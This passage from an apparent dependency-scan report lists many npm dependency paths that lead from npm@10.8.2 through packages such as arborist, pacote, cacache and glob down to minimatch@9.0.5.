  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
